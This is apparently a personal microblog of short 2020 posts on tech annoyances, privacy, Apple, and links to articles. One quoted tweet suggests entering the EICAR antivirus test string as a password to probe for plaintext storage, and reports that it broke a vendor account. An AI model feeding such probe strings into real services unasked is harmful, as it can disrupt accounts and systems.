Ok, so I came across Mozilla's list of «'big tech alternatives'»¹, and the only product listed that I didn't know about already (and not need) was this Jumbo thing. Talk about an awful website. Hey, how about you TELL ME WHAT YOU DO before you harvest my e-mail address? Especially for something that wanks on about being privacy focused.

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╒═════╣▒ 10/07/2020 @11:43 ▒╟──────────┘

Why did the UI "experts" at Apple think that instead of using the same type of indicators they use for Location Services being in use that they'd leave a couple debug indicators compiled into a release build?

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[1] https://twitter.com/Laughing_Mantis/status/1308212643723767809?ref_src=twsrc%5Etfw

╒═════╣▒ 10/05/2020 @09:52 ▒╟──────────┘

Yikes. I bet more places than you think would react... poorly to this test.

Ever want to test systems & see if your password is ever stored/sent in plaintext?Make it: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*I am on the phone with a vendor right now because my test account is in an inoperable state.🧐— Greg Linares (@Laughing_Mantis) «September 22, 2020»¹

September

╒═════╣▒ 09/30/2020 @09:16 ▒╟──────────┘

Excellent.

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[1] https://xkcd.com/2365/

╒═════╣▒ 09/29/2020 @21:37 ▒╟──────────┘

Today's «xkcd»¹ contains so much truth.

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[1] https://weinholt.se/articles/non-posix-filesystems/

╒═════╣▒ 09/24/2020 @20:53 ▒╟──────────┘

«This»¹ is an interesting retrospective on filesystems. It does leave me wondering — would we have to keep inventing new APIs if we just had the same things we had back in the 1970s? After a while I remember that this is all of computing and go back to doing something else.

╒═════╣▒ 09/24/2020 @08:20 ▒╟──────────┘

«*sigh* Mozilla...»¹ Also, people sometimes look at me funny when they find out that I don't use Google stuff. That is a thing people sometimes do...

[1] https://www.jwz.org/blog/2020/09/this-is-a-pretty-dire-assessment-of-mozilla/

╒═════╣▒ 09/24/2020 @07:58 ▒╟──────────┘

So... how do we «#DefundSiliconValley»¹ ?

[1] https://brokeassstuart.com/2020/09/22/disgraceful-new-gig-economy-app-wants-to-be-uber-but-for-evicting-people/

╒═════╣▒ 09/23/2020 @12:59 ▒╟──────────┘

Today is clearly going to be a good computer day...

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[1] https://www.nytimes.com/2020/09/21/technology/microsoft-zenimax-video-game-deal.html

╒═════╣▒ 09/21/2020 @21:36 ▒╟──────────┘

Wait, people care about «Bethesda»¹ still? Have they made anything good since Skyrim in 2011?

╒═════╣▒ 09/21/2020 @17:48 ▒╟──────────┘

I was going to embed this here but the code to do that is almost 7200 characters log because social media engineers are pretty much universally bad at their jobs. Anyway, «I agree with @chris.randall»¹.

[1] https://www.instagram.com/p/CFZ3RHLBGSV/

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╒═════╣▒ 09/21/2020 @16:37 ▒╟──────────┘

One of the things that I love about old equipment is that gear used to be built with serviceability in mind. This Onkyo tuner has a single sided PCB with the track layout silk screened on the top so it can be troubleshot without disassembly. That is how you know they cared.

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╒═════╣▒ 09/20/2020 @16:46 ▒╟──────────┘

I can think of much worse ways to spend my birthday weekend...

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[1] https://logicmag.io/care/built-to-last/

╒═════╣▒ 09/19/2020 @20:43 ▒╟──────────┘

«https://logicmag.io/care/built-to-last/»¹

╒═════╣▒ 09/16/2020 @22:37 ▒╟──────────┘

So, I know this isn't new but can we get a way to turn this iOS Podcasts.app downloading pause "feature" off? I bought the extra storage for a reason, so like, keep downloading.

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[1] https://www.going-flying.com/blog/home-control-setting-still-resets-to-on-in-ipados-131-beta.html

╒═════╣▒ 09/16/2020 @19:23 ▒╟──────────┘

Can you hide the new iOS App Library screen? No, of course not. Why would you want that? We only give you features you want here at Apple. 🙄

╒═════╣▒ 09/16/2020 @18:39 ▒╟──────────┘

The home control bug is still there at least. «Previously»¹, «previously»², «previously»³.

[2] https://www.going-flying.com/blog/ok-so-ios-112-fixes-most-of-what-i-hated-most.html

[3] https://www.going-flying.com/blog/first-impressions-of-ios-11.html

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╒═════╣▒ 09/16/2020 @18:31 ▒╟──────────┘

Oh hey, iOS 14 is here and I'm glad the new Music icon was 2.4GB and required a reboot.

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[1] https://www.youtube.com/watch?v=KjgvffBlWAg

╒═════╣▒ 09/16/2020 @10:23 ▒╟──────────┘

Instead of sleeping last night I stumbled down a rabbit hole by the name of Kevlin Henney. «1968»¹, «Agility ≠ Speed»², «The Forgotten Art of Structured Programming»³.

[2] https://www.youtube.com/watch?v=kmFcNyZrUNM

[3] https://www.youtube.com/watch?v=SFv8Wm2HdNM

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[1] https://inessential.com/2020/07/28/untrue

╒═════╣▒ 09/16/2020 @10:08 ▒╟──────────┘

«https://inessential.com/2020/07/28/untrue»¹ is a good walk through some of the BS I keep seeing about the Apple App Store ecosystem.

╒═════╣▒ 09/15/2020 @12:15 ▒╟──────────┘

I don't know why I made «this»¹, but it sure amuses me.

[1] https://bennie2.blob.core.windows.net/deploy/date.html

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[1] https://www.youtube.com/watch?v=-FUQ6ZxTkM8

╒═════╣▒ 09/12/2020 @13:11 ▒╟──────────┘

«I never thought I'd see the Lockpicking Lawyer call a lock unpickable...»¹ of course it ended up being German.

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[1] https://battlepenguin.com/tech/how-google-and-microsoft-made-email-unreliable/

╒═════╣▒ 09/11/2020 @10:51 ▒╟──────────┘

Having run my own e-mail infrastructure for at least 15 years this strikes close to my heart. «https://battlepenguin.com/tech/how-google-and-microsoft-made-email-unreliable/»¹

╒═════╣▒ 09/10/2020 @22:16 ▒╟──────────┘

I am glad I didn't follow the iFixit instructions for replacing the battery on my A1398 MacBook Pro. It was a lot easier than they made it out to be. Now I do not have to buy a new laptop for several more years! 😁 #RightToRepair

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[1] https://www.mcsweeneys.net/articles/all-the-presidents-book-deals

╒═════╣▒ 09/10/2020 @22:03 ▒╟──────────┘

«Do not buy this asshole's book»¹

╒═════╣▒ 09/10/2020 @20:46 ▒╟──────────┘

In case you were wondering what the Sturgis Motorcycle rally cost...«http://ftp.iza.org/dp13670.pdf»¹

New «@SDSUCHEPS»² paper by Dhaval Dave «@FriedsonAndrew»³ «@Drew_McNichols»⁴ & Joe Sabia ("Contagion Externality of Super-spreader") finds Sturgis Motorcycle Rally was a local & nationwide spreader of COVID-19. Estimated public health cost: ~$12B See: «https://t.co/uByz9ja6hL»⁵ «pic.twitter.com/jdLlLkwRek»⁶— CHEPS (@SDSUCHEPS) «September 6, 2020»⁷

[1] http://ftp.iza.org/dp13670.pdf

[2] https://twitter.com/SDSUCHEPS

[3] https://twitter.com/FriedsonAndrew

[4] https://twitter.com/Drew_McNichols

[5] https://t.co/uByz9ja6hL

[6] https://t.co/jdLlLkwRek

[7] https://twitter.com/SDSUCHEPS/status/1302480031638147074

╒═════╣▒ 09/10/2020 @19:38 ▒╟──────────┘

We used to joke that most startups' plan to grow to operate at scale was to get acquired by Google. The reality seems that the real endgame is to be acquired by Google then killed off. «https://killedbygoogle.com»¹

[1] https://killedbygoogle.com

╒═════╣▒ 09/10/2020 @17:25 ▒╟──────────┘

«https://brokeassstuart.com/2020/09/07/americans-need-to-take-more-personal-responsibility/»¹

[1] https://brokeassstuart.com/2020/09/07/americans-need-to-take-more-personal-responsibility/

╒═════╣▒ 09/09/2020 @22:59 ▒╟──────────┘

If for some reason you're still reading hackernews, might I suggest instead you use the annotated digest version at «http://n-gate.com»¹ which I think you will find significantly better (if for no other reason than the comments are omitted).

[1] http://n-gate.com

╒═════╣▒ 09/09/2020 @21:29 ▒╟──────────┘

Hm, so I've had «Little Brother»¹ in my Amazon wishlist for years now so instead I decided to get it and the two sequels all at once «on Kickstarter»². 🧐 Bonus points for not sending any of the money to Amazon.

[1] https://craphound.com/littlebrother

[2] https://www.kickstarter.com/projects/doctorow/attack-surface-audiobook-for-the-third-little-brother-book

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[1] https://www.susa.net/wordpress/2020/08/why-advertising-is-destroying-the-web/

╒═════╣▒ 09/09/2020 @20:15 ▒╟──────────┘

The key takeaway for everyone should be the last sentence: «"The next time you pick up your phone, or tablet, or laptop, ask yourself if the experience is ‘enriching’, or just ‘engaging’, and take a moment to consider just putting the device down."»¹

╒��════╣▒ 09/05/2020 @18:55 ▒╟──────────┘

Whoever it was at IMDB that decided to whine about their app in an interstitial should be fired publicly as a warning to others who think this might be a good idea.

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[1] https://blog.cloudflare.com/rendering-react-on-the-edge-with-flareact-and-cloudflare-workers/

╒═════╣▒ 09/03/2020 @11:39 ▒╟──────────┘

I love how the JavaScript frontend ecosystem continually seems to forget the last 60 years of computer history.

«https://blog.cloudflare.com/rendering-react-on-the-edge-with-flareact-and-cloudflare-workers/»¹

The answer is never *stop building websites with piles of JavaScript*, no the answer is another JavaScript library. Because ad-laden, opinion filled, listicles need access to a Turing complete system on every view. 🙄

╒═════╣▒ 09/02/2020 @10:58 ▒╟──────────┘

«https://utcc.utoronto.ca/~cks/space/blog/sysadmin/BlameAndWorksOnMyLaptop»¹

[1] https://utcc.utoronto.ca/~cks/space/blog/sysadmin/BlameAndWorksOnMyLaptop

August

╒═════╣▒ 08/26/2020 @16:41 ▒╟──────────┘

As a follow on to my blog post on «Epic v. Apple»¹ we have a look at the instant motion for a temporary restraining order thanks to our favorite copyright attorney Leonard French «https://www.youtube.com/watch?v=4p9zDPkbqyc»². I would love to see an anti-trust ruling eventually but I really don't see how it gets done and frankly it's still painful to watch a multi-billion dollar company throw a temper tantrum at a multi-trillion dollar company because it's not making enough money. 🙄

[1] https://www.going-flying.com/blog/apple-google-epic-app-store-anti-trust.html

[2] https://www.youtube.com/watch?v=4p9zDPkbqyc

╒═════╣▒ 08/26/2020 @15:03 ▒╟──────────┘

Funny how common sense gets lost as new things get normalized into infrastructure.

«https://yeahiwasintheshit.tumblr.com/post/627524104462991360/sugdenlovesdingle-i-grew-up-in-the-90s-when»¹

[1] https://yeahiwasintheshit.tumblr.com/post/627524104462991360/sugdenlovesdingle-i-grew-up-in-the-90s-when

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[1] https://mostlysignssomeportents.tumblr.com/post/627523017255370752/surveillance-capitalism-is-just-capitalism-plus

╒═════╣▒ 08/26/2020 @14:51 ▒╟──────────┘

This pretty reasonably articulates things that have been low-key rattling through my head for a while now that I have not been able to effectively articulate. Fixing so many of the ills we experience at the hands of capitalism seems so difficult and unattainable without bespoke solutions for each problem. The reality turns out to be that a lot of it is likely fallout from monopolistic, oligarchic, and generally corrupt actors, and as such we actually do have tools to combat them. «https://mostlysignssomeportents.tumblr.com/post/627523017255370752/surveillance-capitalism-is-just-capitalism-plus»¹

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[1] https://www.youtube.com/watch?v=M8v-Eu0nCzM

╒═════╣▒ 08/26/2020 @10:02 ▒╟──────────┘

Duncan v. Becerra - California's "Large Capacity Magazine" ban decision (read by Leonard French) «https://www.youtube.com/watch?v=M8v-Eu0nCzM»¹. (Full opinion read «here»²)

[2] https://www.youtube.com/watch?v=RATAjkdE6lY

╒═════╣▒ 08/26/2020 @09:36 ▒╟──────────┘

“It is a fairly specific workflow that is a challenge for some newer developers to engage with. As an example, my partner submitted a patch to OpenBSD a few weeks ago, and he had to set up an entirely new mail client which didn’t mangle his email message to HTML-ise or do other things to it, so he could even make that one patch. That’s a barrier to entry that’s pretty high for somebody who may want to be a first-time contributor.”

«https://www.theregister.com/2020/08/25/linux_kernel_email/»¹

I'm skeptical of the quality of a developer that cannot install and configure an e-mail client so perhaps the barrier to entry is in fact useful. Operating system development is difficult and nuanced and has very real risks if you do it wrong. The infamous Apple «"goto fail;"»² comes to mind.

[1] https://www.theregister.com/2020/08/25/linux_kernel_email/

[2] https://gotofail.com

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[1] https://www.jwz.org/blog/2020/08/the-date-is-now-tuesday-march-178th-2020/

╒═════╣▒ 08/25/2020 @14:11 ▒╟──────────┘

«The date is now Tuesday, March 178th, 2020.»¹

╒═════╣▒ 08/25/2020 @13:12 ▒╟──────────┘

«https://www.mcsweeneys.net/articles/arkham-board-of-health-feedback-on-miskatonic-universitys-draft-plan-for-a-safe-campus-reopening»¹

[1] https://www.mcsweeneys.net/articles/arkham-board-of-health-feedback-on-miskatonic-universitys-draft-plan-for-a-safe-campus-reopening

╒═════╣▒ 08/25/2020 @13:11 ▒╟──────────┘

«https://blog.lukaszolejnik.com/web-browsing-histories-are-private-personal-data-now-what/»¹

[1] https://blog.lukaszolejnik.com/web-browsing-histories-are-private-personal-data-now-what/

╒═════╣▒ 08/24/2020 @13:11 ▒╟──────────┘

My MacBook Pro has thrown the 'Service Battery' alert recently so I pulled the bottom off to check the battery part number to order a replacement. When I bought the MacBook Pro I checked to verify it wasn't subject to the inflating/exploding battery recall and Apple's website said I was either not effected or the battery was already replaced. Sure looks like that was the case, eh? Welp, good thing I have a replacement on the way.

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[1] https://m.youtube.com/watch?v=e7haZ3ekuSg

╒═════╣▒ 08/23/2020 @19:48 ▒╟──────────┘

Ok, so... I laughed out loud several times in the first few minutes of reading... an opinion... from an Ontario court... over a traffic infraction. They should teach this case in high school to encourage people to learn more about the law. «https://m.youtube.com/watch?v=e7haZ3ekuSg»¹. No kidding, literally laughing. 😂

╒═════╣▒ 08/21/2020 @20:27 ▒╟──────────┘

Quality content. «https://www.tiktok.com/@streetmagiciandude»¹

[1] https://www.tiktok.com/@streetmagiciandude

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[1] https://blog.apnic.net/2020/08/21/chromiums-impact-on-root-dns-traffic/

╒═════╣▒ 08/21/2020 @20:19 ▒╟──────────┘

Honestly, I think stuff like this happens when any piece of the ecosystem hits the `defacto standard` / `near monopoly` status. Seemingly reasonably and useful pieces of code turn into dangerous misfeatures.

«https://blog.apnic.net/2020/08/21/chromiums-impact-on-root-dns-traffic/»¹

Of course you can also point out that the real root cause of this is the NXDomain hijacking by ISPs that everyone smart said would come back to bite us in the ass in fact biting us on the ass.

╒═════╣▒ 08/20/2020 @16:26 ▒╟──────────┘

Today's jam: «https://timecop1983.bandcamp.com/album/night-drive»¹

[1] https://timecop1983.bandcamp.com/album/night-drive

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[1] https://xkcd.com/2347/

╒═════╣▒ 08/18/2020 @15:57 ▒╟──────────┘

If my ~10 years of experience at an ISP taught me anything, «this»¹ is *extremely* optimistic.

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╒═════╣▒ 08/16/2020 @13:51 ▒╟──────────┘

snort*

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[1] https://www.electronjs.org

╒═════╣▒ 08/14/2020 @19:29 ▒╟──────────┘

The fact that I have not felt able to write a truly spleen-venting rant about how awful «Electron»¹ is (it is a vile construct) and how you should be ashamed for using it (you should be) is testament to how mind wrenchingly terrible it is to develop software using the native tools. Microsoft and Apple should be truly ashamed of themselves.

╒═════╣▒ 08/11/2020 @09:27 ▒╟──────────┘

The WSJ article is behind the paywall but Bruce Schneier has a «synopsis»¹. The tl;dr is basically 'another company caught hiding data collection in their API is selling your data everywhere.' This is why I don't install mobile apps. You have to trust not only the app vendor but every single library they use all the way down to the OS SDK. Good luck with that.

[1] https://www.schneier.com/blog/archives/2020/08/collecting_and_.html

╒═════╣▒ 08/11/2020 @09:14 ▒╟──────────┘

A statement from [Brand]® «pic.twitter.com/XT9tXF9hvz»¹— Chris Franklin (@Campster) «May 31, 2020»²

This behavior is up there with millionaires begging me to donate money to their charities in the continuum of 'tone deaf horse shit'.

[1] https://t.co/XT9tXF9hvz

[2] https://twitter.com/Campster/status/1267183124582215680?ref_src=twsrc%5Etfw

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╒═════╣▒ 08/09/2020 @10:04 ▒╟──────────┘

Hey, I have an idea. Instead of displaying a modal dialog box you open news urls in Safari like normal people? Deleting the app is a pretty strong indicator that I don't want it.

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[1] https://www.bostonglobe.com/2020/07/27/opinion/republicans-demographic-trap/

╒═════╣▒ 08/09/2020 @00:09 ▒╟──────────┘

«https://www.bostonglobe.com/2020/07/27/opinion/republicans-demographic-trap/»¹

╒═════╣▒ 08/08/2020 @18:22 ▒╟──────────┘

Dan Rather throwing shade on Twitter? Yeah, must be 2020 still. «https://wilwheaton.tumblr.com/post/625904233892429824/vbartilucci-sirfrogsworth-dan-rather-a-stoic»¹

[1] https://wilwheaton.tumblr.com/post/625904233892429824/vbartilucci-sirfrogsworth-dan-rather-a-stoic

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[1] https://www.jwz.org/blog/2020/08/doom-scroll/

╒═════╣▒ 08/06/2020 @17:34 ▒╟──────────┘

I feel like this list is missing something...

«https://www.jwz.org/blog/2020/08/doom-scroll/»¹

╒═════╣▒ 08/06/2020 @17:07 ▒╟──────────┘

Well this is a new low in app design. Just deleted the SiriusXM app from my AppleTV because there is no obvious way to stop it from playing. Even quitting back to the home screen doesn't seem to shut it up. Nice.

╒═════╣▒ 08/06/2020 @15:58 ▒╟──────────┘

I can't help but wonder if he ever got his data... I also can't help but wonder if we'll have meaningful privacy legislation in my lifetime. «https://www.wired.com/story/one-mans-obsessive-fight-to-reclaim-his-cambridge-analytica-data/»¹

[1] https://www.wired.com/story/one-mans-obsessive-fight-to-reclaim-his-cambridge-analytica-data/

╒═════╣▒ 08/03/2020 @17:21 ▒╟──────────┘

Man, I forgot how amateur hour Nintendo's networking is. I love that they think it's totally reasonable to forward every single UDP port to your Nintendo device. Because no one plays any games on anything other than their Nintendo Switch that uses UDP... («Nintendo Support Article»¹)

[1] https://www.nintendo.co.uk/Support/Nintendo-Switch/How-to-Set-Up-a-Router-s-Port-Forwarding-for-a-Nintendo-Switch-Console-1498000.html

╒═════╣▒ 08/02/2020 @19:28 ▒╟──────────┘

In today's garbage fire tech-bro fueled own nothing culture, billionaire continues to screw people who actually make things. «via jwz»¹

[1] https://www.jwz.org/blog/2020/08/billionaire-says-musicians-are-broke-because-they-dont-work-hard-enough/

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[1] https://dynamoe.tumblr.com/post/625263393907113984/saveusps

╒═════╣▒ 08/01/2020 @20:48 ▒╟──────────┘

The US Post Office is a really important part of the machinery of the country and we really should be protecting it instead of putting it through a meat grinder so it seems like a good idea to privatize it. Privatizing parts of the government only leads to taxpayers getting leas for their money, and private industry being funded by taxpayers.

«https://dynamoe.tumblr.com/post/625263393907113984/saveusps»¹

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July

╒═════╣▒ 07/28/2020 @14:19 ▒╟──────────┘

Remember the days when web sites provided you with RSS feeds? I miss those days. Those days would have saved me over 2000 lines of Python.

╒═════╣▒ 07/28/2020 @14:08 ▒╟──────────┘

Well shit, now I want a pond in my back yard even more than before... (also, lord these listicle sites are smoking garbage fires of attribution. Google image search returns about a million imgur and giphy links and nothing that looks like an original source...)

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╒═════╣▒ 07/28/2020 @14:02 ▒╟──────────┘

I don't know why I keep going round and round trying to make my iOS devices better at creating things than they are, it never works. I should put a sticker on my phone and tablet that says 'For Consumption Only'.

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[1] https://honk.tedunangst.com/u/tedu

╒═════╣▒ 07/26/2020 @16:15 ▒╟──────────┘

So a bit ago «tedu»¹ shared a blog post that caught my eye. It was about «writing a network protocol client using Swift and Network.framework»² and while that in itself was interesting the bit that dragged me down a rabbit hole was this talk of a «Gemini»³ protocol.

[2] https://shadowfacts.net/2020/gemini-network-framework/

[3] https://gemini.circumlunar.space/

╒═════╣▒ 07/17/2020 @21:33 ▒╟──────────┘

Once again a reminder that consolidation of resources on the Internet is not only asking for failures of all kinds but is in fact antithetical to the design principals of the network. «Cloudflare Outage on July 17 2020»¹

[1] https://blog.cloudflare.com/cloudflare-outage-on-july-17-2020/

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[1] https://twitter.com/textfiles/status/1284002348071899136?ref_src=twsrc%5Etfw

╒═════╣▒ 07/17/2020 @10:25 ▒╟──────────┘

Specifically, twitter seems to have, along its way from being a crappo SXSW chatroom, perfected an algorithm where you go 'I really don't think we should shred nuns' and Twitter will do its absolute friggin' best to find @TheNunShredder⚔️ and make sure he comes crashing in.— Jason Scott (@textfiles) «July 17, 2020»¹

╒═════╣▒ 07/14/2020 @22:01 ▒╟──────────┘

I spent a good amount of time today writing a new scraper for one of my RSS feed generators. Watching log files during that reminded me how much of the Internet is just machines howling at other machines in the interminable darkness.

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[1] https://www.dnalounge.com/backstage/log/2020/07/10.html

╒═════╣▒ 07/10/2020 @21:06 ▒╟──────────┘

Can we all just agree that Silicon Valley turned into a «horror show»¹ a while ago?

╒═════╣▒ 07/08/2020 @22:16 ▒╟──────────┘

Is it just me or is finding anything in any of the Apple storefronts an exercise in futility? I swear, the *smarter* they claim they make this crap the more frustrating it is to actually use.

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[1] https://www.nytimes.com/2020/07/02/opinion/private-equity-inequality.html

╒═════╣▒ 07/03/2020 @09:22 ▒╟──────────┘

«https://www.nytimes.com/2020/07/02/opinion/private-equity-inequality.html»¹

╒═════╣▒ 07/02/2020 @16:56 ▒╟──────────┘

I've been thinking about this a lot recently for obvious reasons and this is a pretty succinct essay that sums up my thoughts. «https://www.schneier.com/blog/archives/2020/07/the_security_va.html»¹ I'd only add the warning that the consolidation of carriers and the general reality of the 'big four' Internet companies has started to erode the resiliency that was inherent in the Internet of the last decade - and we should look at that as bad a trend as what has happened, well, everywhere else.

[1] https://www.schneier.com/blog/archives/2020/07/the_security_va.html

June

╒═════╣▒ 06/30/2020 @09:17 ▒╟──────────┘

One of the things that I think the video in my «previous Thought»¹ shows, perhaps unintentionally is how much time a computer has to dedicate to simply interact with humans. I'll try not to take printf(3) with %d for granted in the future.

[1] https://www.going-flying.com/thoughts/1593486131.html

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[1] https://www.youtube.com/user/eaterbc/videos

╒═════╣▒ 06/29/2020 @23:02 ▒╟──────────┘

If you have not been watching any of «Ben Eater's»¹ videos on computers you are missing out. In his «latest»² he answers the question, binary to decimal -- how hard can that be?

[2] https://www.youtube.com/watch?v=v3-a-zqKfgA

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╒═════╣▒ 06/29/2020 @12:49 ▒╟──────────┘

The 'designers' at YouTube continue to amaze me at how bad they are at their jobs...

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╒═════╣▒ 06/24/2020 @16:09 ▒╟──────────┘

Today's feels...

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[1] https://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/

╒═════╣▒ 06/23/2020 @20:27 ▒╟──────────┘

«https://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/»¹

╒═════╣▒ 06/23/2020 @16:06 ▒╟──────────┘

Just pushed a new container, it uses nginx to transform a RTMP stream off of a camera watching my bird feeder into a HLS stream so I can publish it to the web. Yep. That's a thing I just did.

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╒═════╣▒ 06/14/2020 @23:15 ▒╟──────────┘

So in today's iOS is still trash news, 13.5.1 still will not register scroll inputs while it is fading in the highlight during multi-select in a ListView. Makes deleting and filing messages really awesome in Mail.app, nothing like adding a 200ms delay in the tap tap scroll tap tap scroll dance.

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[1] https://m.youtube.com/watch?v=T9Ckb_Qa8Qw

╒═════╣▒ 06/12/2020 @23:59 ▒╟──────────┘

«https://m.youtube.com/watch?v=T9Ckb_Qa8Qw»¹

╒═════╣▒ 06/07/2020 @12:32 ▒╟──────────┘

I love this kind of stuff: «Recovering the Lost Apollo 10 LM Software»¹. If you didn't see the Apollo Guidance Computer restoration series, «you should watch it»².

[1] https://www.youtube.com/watch?v=-JTa1RQxU04

[2] https://www.youtube.com/playlist?list=PL-_93BVApb59FWrLZfdlisi_x7-Ut_-w7

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╒═════╣▒ 06/06/2020 @13:09 ▒╟──────────┘

Finally got around to playing the Tomb Raider reboot, it was enjoyable and it looks pretty great in 2k on a GTX 1080.

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[1] https://www.jwz.org/blog/2020/06/everyone-at-facebook-is-qwhite-complicit/

╒═════╣▒ 06/02/2020 @13:53 ▒╟──────────┘

«https://www.jwz.org/blog/2020/06/everyone-at-facebook-is-qwhite-complicit/»¹

May

╒═════╣▒ 05/29/2020 @15:56 ▒╟──────────┘

I wonder how many different variations on «this script»¹ I have written over the years. I gotta believe at least 20.

[1] https://ssl.ub3rgeek.net/git/?p=misc.git;a=blob;f=sync-audi-mmi-sd

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[1] https://xkcd.com/2312/

╒═════╣▒ 05/28/2020 @08:43 ▒╟──────────┘

«https://xkcd.com/2312/»¹ mbmbam is a pretty good unit of measure if you ask me.

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[1] https://www.penny-arcade.com/comic/2020/05/22/

╒═════╣▒ 05/23/2020 @23:05 ▒╟──────────┘

«https://www.penny-arcade.com/comic/2020/05/22/»¹

╒═════╣▒ 05/20/2020 @21:20 ▒╟──────────┘

So TIL that my hatred of the iPadOS dock means most of the multitasking stuff is useless to me. «https://support.apple.com/en-us/HT207582»¹.

[1] https://support.apple.com/en-us/HT207582

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[1] https://www.jwz.org/blog/2020/05/pizza-arbitrage/

╒═════╣▒ 05/19/2020 @10:52 ▒╟──────────┘

«https://www.jwz.org/blog/2020/05/pizza-arbitrage/»¹

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[1] http://www.righto.com/2020/05/extracting-rom-constants-from-8087-math.html

╒═════╣▒ 05/18/2020 @08:54 ▒╟──────────┘

«http://www.righto.com/2020/05/extracting-rom-constants-from-8087-math.html»¹

╒═════╣▒ 05/15/2020 @17:57 ▒╟──────────┘

Turning on an availability monitor in Azure Application Insights has eliminated the cold start penalty and drastically reduced my HTTP triggered function execution time. I should still be well within the free usage allotment for the Pay-As-You-Go tier as well. Bonus.

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[1] https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/

╒═════╣▒ 05/15/2020 @11:55 ▒╟──────────┘

Worth a read. «https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/»¹

╒═════╣▒ 05/15/2020 @10:10 ▒╟──────────┘

tl;dr: monopolies are stupid and make short sighted decisions.

«https://www.eff.org/deeplinks/2020/04/frontiers-bankruptcy-reveals-cynical-choice-deny-profitable-fiber-millions»¹

[1] https://www.eff.org/deeplinks/2020/04/frontiers-bankruptcy-reveals-cynical-choice-deny-profitable-fiber-millions

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[1] https://www.youtube.com/watch?v=IoL8g0W9gAQ

╒═════╣▒ 05/12/2020 @22:25 ▒╟──────────┘

Spent an hour figuring out the hard way that SERVER_PROTOCOL is not available when ProxyPass is processed for some reason (surely Apache knows the HTTP version of the incoming request it is about to proxy) so instead of committing an act of barbarism against my config to work around this with mod_rewrite I yanked my app out of the container and put it back under mod_wsgi. Simpler is often better.

╒═════╣▒ 05/12/2020 @11:38 ▒╟──────────┘

The latest «Last Week Tonight»¹ on the USPS is not only hilarious and informative as usual, but come on, who doesn't want an "«AND NOW...A STAMP»²" stamp.

[2] https://photostamps.com/products/laststamptonight

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[1] https://en.m.wikipedia.org/wiki/Mercury_(planet)

╒═════╣▒ 05/06/2020 @22:54 ▒╟──────────┘

I know that Mercury is an «insane hellscape»¹, but if you squint all sciency like it looks «really pretty»².

[2] https://www.instagram.com/p/B_3FNMgp-e5/

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╒═════╣▒ 05/06/2020 @21:49 ▒╟──────────┘

Remember when looking at the logs of your own system was as easy as grep *something* /var/log/* and not *log show --last 1h --style syslog --debug --predicate 'senderImagePath == "/System/Library/Extensions/Sandbox.kext/Contents/MacOS/Sandbox"'*. Man those days were *awful* weren't they?

╒═════╣▒ 05/05/2020 @22:36 ▒╟──────────┘

Why yes. I did have tacos today. Thanks for asking.

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╒═════╣▒ 05/02/2020 @17:57 ▒╟──────────┘

Honestly, my browser tabs are often a bit weird but I think I am turning some kind of corner here.

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[1] https://www.bbc.com/news/av/uk-england-beds-bucks-herts-52504130/captain-tom-cockpit-view-of-raf-flypast-in-marston-moretaine

╒═════╣▒ 05/02/2020 @17:13 ▒╟──────────┘

«https://www.bbc.com/news/av/uk-england-beds-bucks-herts-52504130/captain-tom-cockpit-view-of-raf-flypast-in-marston-moretaine»¹ I have always wanted to fly a Spitfire.

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[1] https://wilwheaton.tumblr.com/post/616951798594453504

╒═════╣▒ 05/01/2020 @21:56 ▒╟──────────┘

«This is an amazing story.»¹

April

╒═════╣▒ 04/28/2020 @22:43 ▒╟──────────┘

«This»¹. So much this. If you made a website do these things be ashamed.

[1] https://mobile.twitter.com/chris_randall/status/1251170743238311937

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[1] https://medium.com/javascript-in-plain-english/is-promise-post-mortem-cab807f18dcc

╒═════╣▒ 04/28/2020 @21:30 ▒╟──────────┘

And sometimes people ask my why I don't like using random libraries off the Internet... «This is why»¹.

╒═════╣▒ 04/28/2020 @20:07 ▒╟──────────┘

I think I found a picture of the first piece of hardware that I built and hooked up to the Internet... Can you believe there was a time when people would just expose binaries with write-access to their parallel port to the world?

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╒═════╣▒ 04/27/2020 @15:15 ▒╟──────────┘

No. Autoplay is disabled for a reason. This modal overlay is bad design. Respect your users' choices instead of interrupting them to whine.

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[1] https://www.going-flying.com/blog/podcasts-2019.html

╒═════╣▒ 04/26/2020 @18:50 ▒╟──────────┘

It's probably a decent time to mention that hey, if there are people out there that make things that you think are cool and get enjoyment out of, this would be the time to support them if you can. Personally I've been plowing through «my favorite podcasts»¹ so I sent some money their way.

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[1] https://www.cs.columbia.edu/~smb/blog/2019-11/2019-11-14.html

╒═════╣▒ 04/25/2020 @21:24 ▒╟──────────┘

I was only marginally into USENET (having not had an Internet connection until the late 1990s but I was very much into Fidonet -- a similar construction created later for the BBS world), but this is still a «fascinating read»¹.

╒═════╣▒ 04/25/2020 @19:54 ▒╟──────────┘

There is something beautiful about «this»¹.

[1] https://www.youtube.com/watch?v=b2QPy-igBLA

╒═════╣▒ 04/25/2020 @16:03 ▒╟──────────┘

Front lawn de-thatched, mowed, and fertilized. It almost feels like spring.

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╒═════╣▒ 04/24/2020 @13:11 ▒╟──────────┘

On today's episode of things I didn't realize I would be glad to know how to do... building a bespoke null modem RS-232 cable.

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Pirate History Podcast [1] The Pirate History Podcast

╒═════╣▒ 04/24/2020 @09:39 ▒╟──────────┘

For more of your stay at home listening pleasure, Matt over at «https://piratehistorypodcast.com»¹ not only kills it every week with historically spiced pirate content but he is now lending his dulcet voice to the delight that is Treasure Island in between episodes.

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╒═════╣▒ 04/22/2020 @08:55 ▒╟──────────┘

I think I might be working too hard to get a picture for a blog post...

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[1] https://www.youtube.com/watch?v=zSgiXGELjbc

╒═════╣▒ 04/21/2020 @19:08 ▒╟──────────┘

I don't know why but «Carl Sagan flying through space»¹ *never* gets old it seems.

╒═════╣▒ 04/19/2020 @22:59 ▒╟──────────┘

I love that «this»¹ and «this»² are both only 256 bytes. That means that *half a sector* of a traditional hard drive holding either of these files would be *empty*!

[1] https://www.linusakesson.net/scene/a-mind-is-born/index.php#

[2] https://www.pouet.net/prod.php?which=85227

╒═════╣▒ 04/18/2020 @11:50 ▒╟──────────┘

Music I have been staying at home to: «SomaFM»¹, «Big Sonic Heaven»², and «DNA Pizza's»³ massive collection of music videos with a «request feature»⁴!

[1] https://somafm.com/listen/

[2] https://www.bigsonicheaven.com/

